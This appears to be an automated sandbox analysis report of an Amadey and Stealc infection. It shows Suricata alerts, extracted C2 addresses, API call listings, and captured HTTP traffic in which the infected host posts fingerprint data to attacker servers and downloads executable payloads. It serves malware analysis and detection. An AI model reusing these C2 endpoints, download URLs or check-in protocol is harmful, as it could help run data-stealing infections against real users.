Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.5:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.12:443 -> 192.168.2.5:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.5:64670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.5:64717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.5:64730 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00ACDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_00ACDBBE
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00A9C2A2 FindFirstFileExW,	6_2_00A9C2A2
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD68EE FindFirstFileW,FindClose,	6_2_00AD68EE
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_00AD698F
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00ACD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00ACD076
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00ACD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_00ACD3A9
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00AD9642
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	6_2_00AD979D
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	6_2_00AD9B2B
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AD5C97 FindFirstFileW,FindNextFileW,FindClose,	6_2_00AD5C97

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49734 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49735
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49737 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49748 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49749 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49759 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49777 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49785 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49813
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49815 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49819 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49817 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49818 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49836 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49867 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:64682 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

TCP traffic: 192.168.2.5:64650 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 03 Oct 2024 01:27:07 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 03 Oct 2024 00:47:23 GMTETag: "e0600-62387e5d41dcd"Accept-Ranges: bytesContent-Length: 919040Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 93 e9 fd 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 56 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 83 f2 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 10 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 9a 00 00 00 40 0d 00 00 9c 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 90 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 03 Oct 2024 01:27:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Thu, 03 Oct 2024 00:54:55 GMTETag: "1bca00-6238800be9105"Accept-Ranges: bytesContent-Length: 1821184Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 d0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 69 00 00 04 00 00 1e b4 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 64 61 69 7a 61 7a 66 00 70 19 00 00 50 4f 00 00 68 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 77 79 68 77 77 6a 78 00 10 00 00 00 c0 68 00 00 04 00 00 00 a4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 68 00 00 22 00 00 00 a8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1727919074830Host: self.events.data.microsoft.comContent-Length: 7972Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000332001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000333001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 2d 2d 0d 0a Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="hwid"4991C382B7451388941053------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="build"doma------FCFBFBFBKFIDHJKFCAFC--
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Thu, 03 Oct 2024 00:54:55 GMTIf-None-Match: "1bca00-6238800be9105"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000334031&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 2d 2d 0d 0a Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="hwid"4991C382B7451388941053------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="build"doma------FBGIDHCAAKEBAKFIIIEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
